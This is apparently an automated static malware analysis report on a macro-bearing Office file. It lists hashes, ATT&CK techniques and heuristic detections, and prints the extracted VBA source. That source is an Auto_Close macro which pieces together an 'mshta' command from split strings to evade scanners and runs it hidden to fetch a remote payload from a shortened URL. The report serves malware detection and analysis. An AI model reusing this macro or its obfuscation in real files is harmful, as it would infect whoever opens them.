Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 0d864aefc912cc5d…

MALICIOUS

Office (OOXML)

6.7 KB First seen: 2021-09-17
MD5: 33d622388aee21f06943b77f666aadff SHA-1: 64490e89af96d0c18aec182782dc5b2e56b3f0e1 SHA-256: 0d864aefc912cc5d951ef9c6cf2d97790e48b3d7fee4114b69524ebafe531d3b
280 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The OOXML document contains a VBA macro that executes a command via Shell(). The macro reassembles a command string that includes a URL, likely to download a second-stage payload. The reconstructed command is 'cmd /c msh ta https://bitly.com/dhkajshdjsahdksahk'. This indicates a macro-based downloader attack pattern.

Heuristics 6

  • ClamAV: Win.Malware.Agent-9891645-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Malware.Agent-9891645-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Dangerous API name reassembled from split string literals critical OLE_VBA_SPLIT_KEYWORD_OBFUSCATION
    VBA concatenates short string literals that reassemble a dangerous API/ProgID/LOLBin name (e.g. Scripting.FileSystemObject, WScript.Shell, powershell, URLDownloadToFile) which appears in no single literal. Splitting an API name across string concatenation is done only to evade keyword scanning.
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 302 bytes
SHA-256: 2fa157bb8df4451a0172a6824c8e44f03e3cba9d679578702a24446608d204ea
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Close()
        begoxjup
End Sub

Attribute VB_Name = "adaolv"
Function begoxjup()
Dim znoywzff As Variant
znoywzff = "cmd" + " /c  " + "m" + "s" & "h" & "t" + "a https://" & "bitly.com" & "/dhkajshd" & "jsahdksahk"
Shell znoywzff, vbHide
End Function
vbaProject_00.bin vba-project OOXML VBA project: ppt/vbaProject.bin 13824 bytes
SHA-256: 7203438f5c34bf2fbea02e51231ccc01910fa40506174920d889f324537ef734